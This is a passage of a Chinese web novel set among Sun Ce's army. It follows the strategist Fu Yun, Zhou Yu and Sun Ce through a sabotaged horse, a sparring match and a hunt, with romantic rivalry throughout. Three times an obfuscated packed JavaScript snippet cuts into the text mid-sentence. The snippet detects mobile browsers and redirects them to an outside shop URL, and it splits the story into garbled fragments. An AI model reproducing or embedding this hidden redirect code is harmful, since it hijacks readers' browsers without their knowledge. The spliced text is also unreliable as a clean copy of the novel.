他胸口钝寒更甚,几乎连牙关也轻颤,却只能缓缓垂下手,勾起一抹自欺一般的笑,掩饰胸口难以言喻的疼: “你无碍就好。” 伏韫颔首,退后半步,不着痕迹地与他拉开一寸距离。 她偏过眼,正好与他落在她身上的目光错开。火光下,他的侧颜坚毅,轮廓分明,虽比她记忆中的他稚嫩,却已有几分临危不乱的主帅风采,但眼底残留的一道因心痛未散的余波,仍将他的情绪一展无余。 她轻叹一口气,也移开了自己的目光。但他那因钝痛而茫然迷离的神色,那样珍视却不得的眼神,久远到恍如隔世。她心中亦掀起一阵波澜不息。 尘埃落地,所有人才发现,偌大的危险中心,竟只有周瑜一人迎风而立。其余所有人无一例外散开,为他留出一块几乎舞台大小的空地。 他见马已没了躁动,伸手轻抚它的鼻尖。马亦温驯地凑近,蹭了蹭他的掌心。 但就在马首低垂的瞬间,他忽然眼神一顿,继而俯身,贴近马颈深深一嗅。下一瞬,他神情突变,眸光寒光一闪,拨开马鬃,神色一寸寸沉下去。 伏韫察觉到他的眼神向她掠过时,泛起了一阵异样的波动,在警觉中,渗出了不易察觉的一缕淡淡的……怜惜。 “军师,烦你过来看看,可识得此香?” 伏韫未答话,已经快步上前。马匹身上的腥气扑面,但鬃毛丛掩之下,血脉跳动之处,似乎缭绕着一缕若有若无的香气。 她俯首嗅近,一瞬,鼻尖触及一阵暗香,细嗅之下,竟入芒针刺鼻,刹那之间气机倒转,令人五脏为之一钝。 她面色骤变,从袖中掏出香囊,倒出几粒粉末,在手心搓开。 未及片刻,已经变色。 “这是芒硝熏,最忌龙脑。两香相冲,最易致马癫狂。” 周瑜闻言,心中猜测已然印证七八分,眸底寒光一闪,面向众将,铿锵落地: “庐江妖道果然歹毒,不仅设计取我军数百将士性命,更潜察军师习惯,竟以香料致马癫狂,企图暗害军师,乱我军心!” 他环视四顾,如立于高台之上,振臂一呼,四野俱应。他见帐中氛围隐隐收束,声线随之低沉,却愈发催人心潮: “敌军宵小之辈,明知军师之才,却不敢正面争锋,竟使出这般阴险招数。此非阴谋,而是胆怯,惧怕军师再出奇谋,无法招架,故而借此时机,摘去我军智囊大脑,令我军陷入混沌之中,便可一网打尽。但,我们绝不能允许这样卑劣的阴谋得逞!” 此言一出,营中氛围陡变。众将还在因伏韫“同门相残”之言犹疑不定之时,已经眼见为实,浮现愧怍神色,其余众人更是在周瑜一席掷地有声后群情激奋,纷纷振臂高呼: “誓死护卫军师!” “我们要报仇雪耻!” 呼声如雷霆乍起,最终汇聚成潮,一声声报仇雪恨的呐喊冲破云霄,在伏韫耳边轰鸣。 她立于山呼之中,神色不改。周瑜负手立于马侧,静如山岳。 她向周瑜投去目光的瞬间,二人视线交汇。 她并不意外周瑜会来收场,也并不意外周瑜能凝聚军心如此。他素来稳重,能于千钧一发之际拨乱反正,归风浪于无声。她对洞察玩弄人心乐此不疲,但总有脱手的时候,每当此时,便是周瑜力挽狂澜,在她并不擅长的领域,神乎其技地将被她打碎一地的人心善变重新粘合,甚至……捏成比原来更加美观的形状。 这一点,她早在前世,已见识过无数次。 但她未曾想到,与她前世尚未相识的弱冠之时,他便已经有如此犀利的言辞与深沉的气场。 更没有想到,这柄千锤百炼的剑,仿佛从来不只是为大局和军心而举。 方才那一瞬千军之中的对视,那一瞬波澜的眸光……她心中忽然电闪一蹿,脑中映过一个危险的、但她从未细思的想法。 他早已看出了那香味的异样,这一切,不过只是为她加冕。 与前世无数次他做了、但她从未注意的往事一样,这一柄能号令万军归顺的剑,似乎,一直是为了她而举的。 她极快地垂下眼帘,屏住那一瞬失控的心跳,可心湖最深处,已然悄然绽放出一朵无法自抑的花,艳得惊人。 她不动声色地吸了口气,收敛所有情绪,在他善后的残局上,凝聚趋于稳固的人心。 程普忽然迈步而出,竟单膝扣地,如山的身影臣服在她面前,语气沉痛: “军师,程普愚钝,今日未及深思熟虑,竟引兵哗变,险误战机。今日某愿以性命为谢,这条命,甘任军师驱策,赴汤蹈火,万死不辞!” 这位铁血柱石,长沙旧部的元老,如今竟在这十五岁的少女面前,跪得如此恳切,不少长沙旧部将士皆是浑身一震,神色复杂。 伏韫没有开口,只是俯身,亲自将他郑重扶起。 “程公言重了。若无程公与诸位将士在阵前搏命,我等计策,不过纸上空谈而已。往昔误解与恩怨,就让它随风散去吧。此局未破,我等须并肩应之,不容分心。” 程普怔了一瞬,旋即泪光浮动,重重抱拳,嘶声而语:“某誓死效命!” 帐中诸将纷纷变色,霎时间,竟齐齐拱手下拜,齐声应诺: “誓死为军师效命!” 伏韫缓缓扫视全帐,眸光如炬,声如战鼓,催人战意沸腾: “敌欲内乱我军,那就让他们看看,什么才叫铁壁同心!” *** 帐前风烟散去,程普与众将已退,肃杀气息如潮水般褪去,却留下一地凌乱未收。紧绷的神经在松弛后并未迎来预期的安宁,诡谲的寂静中,另一股难以言说的不安已悄然浮上。 周瑜进入帐中,思绪并未停息,只好走进安放佩剑的一隅,低首缓缓擦拭,企图令自己的思绪澄明易解一些。 但孙策已经完全放松下来,一甩微皱的衣袖,懒懒地靠在案边,仿佛方才几近掀翻的杀伐之气不过一场幻梦。 他斜睨一眼伏韫,因她危机之中下意识的眼神而隐隐作痛的神经再次被翻上,眼底笑意中带着几丝不易察觉的试探: “怎么样,昭晦?刚刚你一说,我马上就入戏了,那番急智之下的表演,可还入得了你法眼?” 伏韫方点了火炉,听他唤声,微微回首,带点调侃: “兄长过谦了。我原以为此番临场之计,兄长恐怕只有寥寥数语,都已做好垫上的准备,却不料兄长浓墨重彩,最后一句对程公的语重心长更是出彩,逼真到我真以为你恍惚之中见到破虏将军,与你说了那好些话呢。” 孙策旋即大笑: “昭晦,你若有此疑虑,便是小瞧我了。你不知道,有一次我被围攻,差点被俘,我直接一扔武器,对着那敌将恭敬抱拳说:‘将军劝降得极是!你不知道我在袁公路手下早就受过了鸟气,今日听君一言,大彻大悟,只愿早投明主!’那人哈哈大笑,上来就拍我肩膀,我一抽匕首,直接就把他的喉咙抹了。这等因时制宜可是我的强项,若不是你拦着我,传国玉玺失窃那出戏我早就排好了,保管哭天抢地的效果比家眷们临时训练出来的效果好上万倍!” 伏韫侧过脸掩唇而笑,她记得前世孙策也与她说过这件事,可见果真得意非常。 “是是是,兄长能屈能伸,颇有昔日高祖之风,未来必能成一番大事。” 二人言笑晏晏之间,帐角还有一人,自始至终不发一语。 他静坐火光与暗影交界之间。剑锋早已被擦得锃亮,布帛却仍一遍遍掠过刀面,仿佛沉心于调试这柄未响之琴,不理喧嚣。 孙策注意到周瑜自进帐以来便不置一词,侧身问道: “公瑾,你一直擦那剑作甚?不会还有什么心事吧?” 周瑜背影一滞,回望孙策:“没什么,只是事发突然,想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128450|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那匹惊马,仍有些心有余悸罢了。” 孙策调笑道:“什么嘛,看你当时一往无前地冲上去,神勇非常,没想到你现在倒是后怕起来了。” 周瑜并不作答,只是淡声道:“我不比兄长,只是事出情急,若不及时制止,怕那疯马踩到兄长和昭晦姑娘,便大事不妙了。” 孙策闻言,瞟了一眼伏韫,心中方才那点因她的注视而烦乱的心绪瞬间归于平静,忽觉饥肠辘辘,便大手一挥: “唉,被这群人一闹,饭都还没吃,赶紧让厨房做点夜宵端上来,还有昭晦爱吃的蜜饯,别给我们军师饿坏了。” 饭菜还未端上,他闲来无事,目光在大帐中乱扫,停在角落里一只小巧玲珑的香囊上——正是方才情急之下,伏韫用来唤醒他神识的那一只。虽放在角落,但伴着火炉暖意氤氲,仿佛催出了一股若有若无的清冽异香。 他心中一动,随手将那只香囊拈起来,凑近鼻尖轻嗅,一时感到浑身燥郁皆为这清香抚平,眉梢一挑,目光瞟向伏韫: “这就是你刚刚救我的宝贝?” 他把“救”字咬得略重了些,像是还有些回味方才在失控边缘,被她骤然拉回的瞬间,指尖摩挲着香囊,忽然又亲昵问道: “昭晦,这是特意为我备下的吗?” 伏韫尚未作答,一直沉默拭剑的周瑜缓缓抬起眸子,将擦剑的布帛放置一边,语气清冷了然: “此香调配精妙,去芜存菁,取沉香龙脑之清冽,辅以柏子仁定神,故而能破心火而不抑血气。” 言罢,他转首望向伏韫,眼神温润:“昭晦姑娘,我说得可对?” 伏韫眼角一抽,感到自另一侧孙策投来的目光已锐利几分,定了定神,只得垂眸颔首:“公子所言无谬。” 孙策眼中一点戏谑的笑意因周瑜这莫名的了解而慢慢敛去,手中停了把玩的动作,望向伏韫的目光,也不由带上几分审视: “昭晦观察细致入微,不知是何时知我有此症?” 话音未落,周瑜已不疾不徐接声而来,语气依旧平静: “此香来之不易,昭晦姑娘为得此香,被观衡宗的人盯上,险些命丧街头。说来也巧,那日若非我恰巧‘路过’城南,只怕后果不堪设想。” 孙策面色完全沉了下来。 骨子里天生的雄性本能,主君的猜疑,伴着他尚未完全平息的妒意骤然翻涌而上。他忽然抬头看向周瑜,眼神冷冽,声音中罕见地带上几分生硬的不悦: “公瑾似乎比我这位主帅,更了解军师一些。” 伏韫心头一紧,不敢任由这二人莫名交锋下去,立刻上前一步: “兄长性情如烈日当空,但也因过于炽热,想来应当偶有心火亢奋,煞气难平之时。我既为军师,又是兄长义妹,于公于私,都当为兄长分忧。” 她顿了顿,语气放得更柔了些: “此香名为‘辟戾’,乃是我门古方。之所以能起效,非是因此香本身奇异,而是恰好能调和兄长的气血。若是换了旁人,也不过寻常提神之物罢了。我知兄长不喜受制外物,但战场瞬息万变,片刻清明,更能助你决胜千里之外。备下此香,也不过为了以防万一,助兄长心火最盛之时,亦能稳握乾坤。” 这番话和风细雨,将他心中那些残存的燥意、疑虑和一点不足为人道起的隐秘的醋意浇灭。 孙策沉默片刻,终于别过视线,低声咕囔了一句: “哼……算你有心了。” 伏韫抿唇一笑,不再言语,退回原位。 饭菜飘香,孙策胃口大开,大快朵颐之际不忘给伏韫夹菜。一片悄然缓和的氛围中,周瑜将自己掩入一侧暗影之中。 他看着她对另一个男人巧笑倩兮,那自然流露的关切,那耐心解释的姿态,不似臣子,倒更似……妻子。 食饱喝足,他掏出帕子缓缓拭唇,指尖却有一瞬微微颤抖,仿佛用尽了全部的克制,才将心底翻涌的、连他亦未能窥尽全貌的暗涌,重新压回那片深不见底的心湖之下。 半明半暗之下,沉静如冰的眸中,似有岩浆在冰层之下无声奔流。 21. 第二十一章 天色未明,大灶中豆粥正咕嘟翻滚,锅盖微颤,却衬得四野愈发寂静。 伏韫一向是最早起的,但今日到大帐时,却见到孙策已经在那了。她趋前坐下,席上清粥蒸汽升腾,将他的面容隔开,伏韫却依然能依稀见到他眼底淡淡的淤黑。 昨夜,他未得安寝。 本该是三人围坐,因周瑜的缺席,帐中显得冷清些许。孙策缓缓撕下一块饼,漫不经心,但手指却有绷紧迹象。未几,面皮被撕得参差粉碎,他仿佛出尽了气,才默默作罢。 伏韫少见地主动开腔:“今天这饼更可口了,可还是那位姑娘的手艺?” 孙策淡淡颔首,只“嗯”了一声,心不在焉,目光若有若无地扫过那张未曾拉开的椅子,匆匆喝完粥,便离席前去操练。 伏韫目送他的背影,心中似乎猜到了他一夜未眠的原因。 那夜兵谏之后,军心动荡未稳。虽然营中如常操练,但关于主帅擅信妖女的流言从未真正平息。他与军中许多兵士年纪相仿,又爱与他们谈笑,自然不可能注意不到这股暗流。又因惊乱之马牵出恐有敌探渗透之嫌,周瑜亲督三日,稳定军心,令军中更为信服。 但这引得孙策更为焦虑,无他,只因理应是孙策以主帅之威震慑三军,但那日哗变,抚慰孙策的人是伏韫,而最终军心平定的功臣,却是周瑜。 营中私议不绝如缕,孙策与亲兵嬉戏笑语如常,但伏韫看得分明,那笑意未曾抵达眼底分毫。他并非毫不介意,不过隐而不发。 又一日,晨雾迷蒙,薄日初上,伏韫依旧最早入席,为其余二人备了碗筷。未几,孙策步入大帐,神色淡然得古怪,仿佛暴风前的片刻宁静。伏韫未及追问,另一个身影一晃,迈步入帐。 “抱歉,来迟了。” 伏韫抬眼望去,周瑜衣衫一尘不染,眉目间风朗依旧。他落座,极其自然地拿起炊饼,仿佛此前数日缺席从未存在。 孙策端详周瑜片刻,开口问道:“今日军务可算完毕?” 周瑜淡声回语:“粮道有岔,整饬到昨夜。” 孙策仿佛等待这个回答已久,仰首一饮,将碗中粥食一扫而空,随即将碗筷一收: “既如此,今日军务已毕,你我兄弟也久未切磋。不如今日在三军面前酣畅淋漓打上一场,也叫将士们瞧瞧,我军主帅与军师,皆非浪得虚名之辈!” 周瑜筷尖微顿,抬眸望他;孙策迎上,笑意愈盛。二人目光短兵相接之中,仿佛已有寒光一闪,暗火潜燃。 来了。伏韫心想。果然憋了几天,在这儿等着呢。 她虽觉得此举有多少不妥,但也知道他的心思。他是一军主帅,却在人心上为伏韫驯服,在谋的博弈中被周瑜压制,军中的人心向背,似乎也有一些微妙地袒向周瑜。 他们二人虽然是总角之好,却也有微妙的君臣之分,若在三军前比试,除了胜负结果能极大为他得来威望,也是试探周瑜忠诚与界限的绝佳机会。 但在三军面前,终归不妥。二人绝无达成平手的可能,顾此而失彼,终有一人要大失颜面,故而并非完备之举。 伏韫不自觉将案上点心轻轻挪近,顺手多掐了两块蜜饯放入口中,弱弱提议一句: “大庭广众的,好像不大好吧?输的那个人岂不是很尴尬?” 孙策和周瑜几乎同时转眸望来。 二人目光如豺狼虎豹,差点将伏韫生吞了,她赶紧低头咬蜜饯: “算了,当我没说,你们打,你们打。” 空气顿滞半瞬。孙策唇角微抽,似笑非笑,周瑜却低低一声轻哂: “那就我们三人?” 伏韫正想说些什么,孙策却抢先一步:“可以。” 伏韫囫囵吞下蜜饯,微微压下嗝意,旋即在心中默默翻了个白眼。 她感觉自己还是把这两个幼稚鬼想得太聪明了。 *** 清晨薄雾未散,趁着众将尚未聚齐,也是热身,二人已经在校场一隅占了位置。 孙策挑了自己趁手的枪,周瑜则选了一柄长剑。二人贴身兵器皆如其人,颇有龙虎之争的意味。 伏韫默默披了一身大氅,选了一个既不偏向孙策、也不偏向周瑜的位置。 一声清啸,孙策出枪。 枪出如龙,寒芒乍现,势若烈焰扑面。他的身影宛如一头猛虎,自山林间疾扑而下,杀意凌厉,每一击皆大开大阖,卷起一圈又一圈气浪,仿佛虎爪将空气撕裂粉碎,气势逼人。 周瑜立于枪尖之前,长剑低垂,周身气息收敛至极致,似乎将数尺之内的空气都凝冻成霜。刀锋袭来之时,他眸中寒光一闪,如匣中剑启,转身回防,剑气如龙吟,快若白练,卷起云崖万丈。 孙策是火,肆意燎原;周瑜是水,浪涛万壑。二人乍一交锋,金戈交击便不绝于耳,星芒迸溅,似两条金蛇盘旋雾中,互相撕咬。 伏韫望着那一枪一剑,心神忽然恍惚一阵,被拉回遥远的时光缝隙之间。 孙策还未袭许之前,他们三人也总是日夜在军营中相伴。闲暇之时,二人在校场中比武,她便蹲在一角,每到紧张处,便忍不住在场外指点:“好!公瑾,快趁势攻他上方!”或是急急提醒:“伯符!他下盘虚,快乘胜追击!” 等到二人终局,她倒成了最累的那个,喊着嗓眼冒烟,总要喝光一整大壶水。 偶尔两人被她搅得心神大乱,怒声喝道:“观棋不语真君子!”可下次她仍旧拍手欢呼,笑意不减。 那是她生命中为数不多的明亮片段。 斯人已逝,她未曾想过,这样的场景还能重演。但物是人非,她也已经不是那个会放声喝彩的小姑娘。 她唯一能守住的,便是持中沉默。 攻防之势渐急,金戈铿锵余音震地,吸引了不少前来围观的士兵。台上二人见观者甚众,更是打起十二分精神,不敢松懈丝毫。 脚下青砖薄霜未散,凉意自鞋底沁入心头,伏韫低眸跺了跺脚,耳边便传来一声极震耳的格挡之声。她猛地抬眸,周瑜手腕一挑,以一个极精妙却危险的姿势,闪过了孙策的一击。 人群中爆发出一阵喝彩。但周瑜置若罔闻,只有若有若无的一线余光,向伏韫瞥来。 她紧紧盯着周瑜的手腕,不敢错过任何一击,却不曾发觉,另一道目光已经落在了她的身上。 在几十轮攻击之中,孙策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133660|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经想清楚伏韫在饭桌上的那一语怯怯的提议。他笃定自己会赢,故而以为她是偏袒周瑜,又假定自己会赢,心情在得意与不悦间摇摆。 但刚才二人一眼对视落入他眼中,他心中考量竟有几分豁然开朗。 硬赢周瑜并不是什么最佳的选择,既伤了兄弟和气,又显得胜之不武,更何况自己最原初的动机,只不过是因为那夜火光下伏韫凝望周瑜的神情在心底愈发灼痛,他也想用这一场胜利,来夺回那份注视。 但数十回合交错之间,他目光屡屡掠过伏韫,已在那几度转折的注视中察觉了规律——或许她自己从未发觉这个习惯,但她的目光,总会下意识地望向那个快要落败的人身上。 一个佯败的计划,已在他心中默默酝酿成型。 第七十七招,孙策的攻势开始迟缓,刀锋虽急,但回防不当,破绽在狂攻中浮现。周瑜眼底冷光一闪,先是一记极短的试探,忽而抬手疾进—— 剑光一动,直直切进孙策防御最薄之隙。 人群中倒吸冷气之声连成一片。伏韫眉头紧皱,目光不自觉系于孙策身上。 一丝极轻的笑意自孙策唇角逸出,那不是败北的沮丧,而是一种近乎掠夺的满足。他忽然收了三分力,本能挡下周瑜的进攻,却故意迟了半息。 周瑜急迫地抓住这个破绽,剑尖长驱直入,直攻要害。 全场哗然。 周瑜的剑尖,距离孙策的颈侧已经近在咫尺,但下一瞬,一个纤细的身影已经掠出人群,冲上演武台! 风声裹着剑气擦过耳畔,刹那间,周瑜的剑停住了。 剑锋直指处,伏韫身子微颤,一只手却死死握住孙策的手腕,因一时情急,竟生生用力将他拉开了半步,犹如挡在他前方,二人同盟,直视周瑜剑尖锋锐。 周瑜握紧剑柄,腕处因竭力而微微颤抖。 他眼中暗潮翻涌,唇吻微翕,千言万语,终究缄默,随风湮入无声。 孙策放声大笑,猛地将长枪一抛。枪身在空中划出一弧亮光,下一瞬,重重落在对面架上,分毫不差。 欢呼声顷刻间自四野卷起,声浪滚滚: “少主威武——!” 孙策抱拳,朗声笑道:“吾弟剑法果然大有精进,我心甚慰!” 他眉眼志得意满之间还凝着几分不易察觉的炫耀与挑衅,语罢,转身离去,步伐潇洒,仿佛已经获得了他想要的所有东西。 周瑜没有动。 他低下头,剑身映出自己的面孔。他在自己的眼底,看到一缕复杂的情绪极快地闪过,连自己都不甚分明。 隔着薄雾,伏韫看到他向自己投来一瞥,震惊、受伤、不解、后怕……交错成一团,令她心中猛地一颤。 她也不知道自己为什么会这样失态地冲上台,连自己都有一些难以置信地低头看了一眼自己的手。抬头时,周瑜已经收剑入鞘,随即,转身离去。 伏韫心下一颤,疾步上前,想挽住他,解释一些自己也没捋清的头绪。 但他没有给她这个机会。 他的背影已经没入未散的晨雾之中,如一道孤高的山岭,拒她千里之外。 他没有回头。 22. 第二十二章 冬日午后的太阳晒得室内多了些许暖意,伏韫却依旧浑身发冷。竹简冰凉的气息将她的手冻得微颤几分,但她的思绪早已飘远。 她并非不知道那一瞬的冲动意味着什么,只是本能快过了理智。出了演武场,她借口自己被风吹得有些不适,恐感风寒,便躲回帐中,连孙策来了,也只是推辞身子不爽,让他碰了个不软不硬的钉子。她似乎听到他在帐外有些不悦地“啧”了一声,但背影又旋即兴高采烈起来。也是在这一刻她知道,她糟糕的本能带来的余波,远比她想得更严重。 思忖再三,她还是起身理了理衣袍,向周瑜的营帐而去。 帐外亲兵肃容正视,见是伏韫来了,神色有些为难,躬身拦道: “军师,周公子现下正忙,吩咐了不见任何人。” 伏韫一怔,微微蹙眉:“不是说军务已毕……”但话到嘴边又咽下,只能淡淡颔首,“我知道了。那我稍后再来。” 等到入夜时分,寒意更甚,也不见周瑜出来用晚膳。伏韫想着白日周瑜或许是真的在忙,加之清晨寒意未散,他们二人又活动了一番,冷热交替之时,最易受寒,便吩咐侍女依照一味能驱寒定神的药方,备了一盅温好的药汤,再次来到周瑜帐前。 这次亲兵脸色更加恭敬审慎,打量了伏韫的面色好一阵,才缓缓开口拒绝: “军师,公子神思倦怠,恐有风寒之症,早早已经歇下了。这汤药便留下,等翌日清晨,属下自会转交。” 听罢此言,伏韫额角一跳,感到自己心火上涌,险些要掀帘而入,打着灯笼看看这人到底是染了风寒,还是避而不见。但她看着亲兵那滴水不漏的态度,那股连着吃了两次闭门羹的难堪与怒火,被她生生压下,深吸一口气,极冷地笑了一声: “不必了。既然公子身子不适,便好生休息吧。” 不待说完,她转身便走,仿佛下一秒就要掩饰不住自己的失态。她步履匆匆,比任何时候都快,侍女惶惑不知所措,只能端着汤盅,亦步亦趋在后面跟着。 她回到帐中,脱下大氅时几乎是甩在地上。她盯着那碗还在冒热气的汤药,肝火愈盛,劈手夺过侍女手中的汤碗,仰头一饮而尽。她忿忿一擦颊边残羹,坐回床上,待到侍女出帐,呲着牙闷哼一声,将整张脸埋入布衾之中。 好你个周公瑾,跟我玩这套?既然你给脸不要脸,就休怪我无情! *** 孙策很快察觉到帐内诡异的气氛。 议事时,周瑜依旧列席,只是公事公办了不少。一开始,他还会依例询问伏韫,但话全都落地。伏韫几乎是将无视贯彻到底,她所有的汇报和请示一律只对孙策开口,哪怕是需要周瑜襄助的部分,也只看着孙策,仿佛被抽走了三魂七魄,机械冷淡地陈述:“我意,此事需周公子从旁协助。”但连眼神都懒得留给周瑜,更别说看到他眼中欲言又止、旋即压下的神色了。 孙策一开始身为大家长,还十分热心地为二人打圆场,但两个人如铜墙铁壁一般油盐不进,将他为数不多的耐心消耗殆尽。 于是,一种别样的心思浮上心头。 “昭晦,这份布防图,你再帮我看看是否有什么纰漏?” “军师辛苦,厨房炖了汤,快趁热了喝!” 他出现在伏韫跟前的次数越来越频繁,甚至连自己都感到有些过火。但他以为二人如今的嫌隙莫过于天赐良机,一开始还稍微有所克制,等到后来周瑜在场时,也全然不顾什么大防不大防,说着说着,会突然凑近伏韫,指着舆图上的一角:“这里,我觉得可以这样……你觉得呢?” 这一切都悉数落在周瑜眼中。 那日伏韫突然的失态,几乎是在三军之前无声地宣告,画地为盟,令他每每想来都心如刀割,被反复碾碎成泥。午时的闭门不见,是他对自己情绪的宣泄,而夜晚的回绝,则是他真的早早歇下。她不知道,就在她转身离去的刹那,他马上披衣而起,几乎光着脚冲出了帐篷。翌日清晨,他本想与她解释,但她已经动怒,不愿与他多语一句。他本也有怒气未消,试探几次,皆被她挡下,便也就此作罢。 于是,两个人的关系,就这样不上不下地悬在那里。 这股低气压在军中弥漫了好几日,连孙策都无心插科打诨,更是隐隐生出一股燥意。这二人皆是他心腹谋臣,若不和平共处,岂非给他这个主帅难看?更何况两个人纷纷以他作为沟通桥梁,倒叫他平添几分怒火——怎么自己好像他们两军交战的斥候一般,做上他们的信使了? 待到连日雨雪停歇,久雪初霁,孙策一大早便进入中军大帐,见二人到齐,便不容推拒地发号施令: “这几日推演战局,一场都不打,都快给我憋出毛病了!正好今日天晴,传令下去,全军休整一日,随我入山狩猎,也让兄弟们松快松快筋骨,打点野味,回来加餐!” 伏韫一听与活动筋骨有关,顿时失了兴趣,只想把此前看了一半的《说苑》读完,刚准备开口推拒,孙策已经抢先一步,目光灼灼看着她: “军师连日劳心费神,脸色都差了不少,正好也去山里透透气,我亲自带一队人马护着你。” 周瑜握着茶盏的手指几不可察地一紧,面上依旧淡然:“兄长说的是,劳逸结合,也好让将士们养精蓄锐。” 伏韫看了看孙策那副“你必须去”的表情,又瞥了一眼周瑜那“我无所谓”的侧脸,心头那股没好气又翻了上来,干脆应道:“也好,那便依兄长安排。” 孙策闻言大喜,立刻吩咐下去安排马匹弓箭。帐中只余二人,不等周瑜看去,伏韫已大步流星走出营帐,不愿与他多待片刻。周瑜的指尖只在衣中动了动,又恢复如初,只是一点端着的微笑,似乎有些撑不住,微微垮了一息。 不多时,马匹备好,弓箭在列。孙策特意挑了一匹性情温顺的白马给伏韫,自己则翻身上了一匹高大的黑色骏马,长弓在背,意气风发。周瑜也默默牵过自己的坐骑,翻身上马,动作依旧优雅从容。伏韫见已成定局,只能默默叹了口气,认命接过缰绳。 午后山林天光正好,阳光自林间交错的枝桠间泼洒而下,空气已有初春气息,连呼吸中都有几分万物复苏的甘甜。 孙策拨马当先,一入山林便如游龙入海,弯弓搭箭,“嗖”的一声破空,林间雉鸟惊起间,伴着一只羽翎翻飞的羽雀哀鸣坠落。 “少主神箭!” “少主威武!” 呼喝的另一边,周瑜拈弓,每一箭几乎都悄无声息,却箭无虚发。他并不张扬,但若看准,搭弦之势迅疾如雷,瞬间命中。 至于伏韫,则骑在最后,手中攥着一张比胳膊还长的猎弓,手臂毫无肌肉,几乎举不起来。 第一箭,“噗”地扎进旁边灌木。 第二箭,擦着枝头掠过,打飞两片松针,落在的松果砸在她头上,仿佛被山神一记爆栗。 第三箭,不知射向何处,竟反弹而回,险些伤了自家人。 将士们吓得纷纷避让,场面一度混乱。待确定无人受伤后,众人憋着肩膀轻笑,不知是谁破了功,笑声一瞬间传遍山野,连绵不绝。 伏韫满脸通红,耍赖似地将箭囊直接抛给孙策: “我不射了!” 语毕策马离队,跑去一个清净地界,缓缓沿着溪涧独自而行。 溪水蜿蜒,清澈见底,浮光跃金,反光之下都能见到几尾银鱼游走水中。 伏韫下了马,直奔浅溪而去。她记得前世,自己也时常偷跑到军校场后的溪边抓鱼,虽屡战屡败,却乐此不疲。 她双手并拢深入水中,屏息凝神,正当鱼儿摆尾靠近时—— “扑通!” 一合手,鱼儿自然跑了,她倒是差点扑进水里。 伏韫怔了一瞬,随即卷起袖子,打算用衣摆兜水诱鱼。结果鱼没捞着,反而衣服全湿,惹得她打了好几个喷嚏。 第三次,她直接蹲进溪中,顾不得靴子湿透,冲着水底一阵拨弄,险些脚底一滑,摔个踉跄,还好反应及时,抓住一旁斜出的树枝,才不至于人仰马翻。 忽然岸上传来一声朗笑。伏韫回头,便见到孙策已经扛着一只猎来的山兔,俯身撑膝,低头望着她,眼中笑意根本压不住: “我说昭晦啊,你不会这么久了,一条鱼也没抓到吧?我看就算抓到了,这几条鱼都还不够塞牙缝的!” “孙伯符,你闭嘴!” 伏韫耳尖红透,气急之下,猛抄一捧溪水向孙策泼去。 “哗啦”一声,孙策被泼了个正着,鬓角碎发因濡湿而贴紧面颊。他先是微愣,随即放声大笑,一甩弓弦,纵身跨入溪中。 “好你个伏昭晦,竟然偷袭我?” 他话音未落,便反手向伏韫泼去,正正溅入伏韫眼中。她急忙抹去眼中水光,胜负欲骤然腾起,手掌一推,一排水柱直直拍向孙策胸口: “你不去打猎,跑来欺负我,算什么英雄!” 孙策抬臂一挡,早早避开,又偏偏另一手蓄势待发: “你这人好生赖皮,分明是你先出手的,临了还恶人先告状!” 水光交错,笑声此起彼伏。一人闪避,一人追逐;一人绕石而行,一人踏水而上。浅滩的水花反复扬起,一如他们笑声阵阵,从未停息。 笑闹间,记忆骤然重叠。 亦是这样的初春,亦是这样的狩猎,他取笑她手笨,她气急之下,抬手一泼。溪水打在少年脸上,他甩甩发丝,反手泼回。 笑声、阳光、水花,一切与昔年重合。仿佛两世光阴,被这一瞬折叠于水光之间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138062|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 伏韫一怔,半捧清水悬在手间,眼前人鬓发湿漉,眉眼弯弯,与记忆中无缝重叠,令她一阵眩晕。 这一瞬失神落在孙策眼中,叫他亦愣住片刻。他心尖猛颤,一时之间,只觉得自己别无他求,因为他已经见到了,这世间最明媚灿烂的笑容。 周瑜没有走近溪涧。 他在不远的松树下,枝叶交错,树影斑驳,静立着,望着二人与水中嬉笑的身影。 那抹无畏轻狂,心无所系的笑容,是她从未在他面前展露的单纯欢喜。 他神色冷静如常,唯一泄露心绪的,是那只执弓到指节几乎泛白的手。 “嗖!” 弦声一颤,破空而去,正中一只云雀。 周瑜又搭上弓箭,一支接一支,“嗖”声不绝。 无人察觉。 水声太乱,笑声太亮,他的世界太冷,如隔云端。 孙策又被泼了一脸,笑得直不起腰,只能求饶: “女侠饶命,别泼了!我认输!” “活该!看你以后还敢不敢笑我!” “不敢不敢,小人惶恐,小人惶恐。” 直到二人筋疲力尽上了岸,才发现今日二人合计,几乎半数猎物皆出自周瑜一人之手。 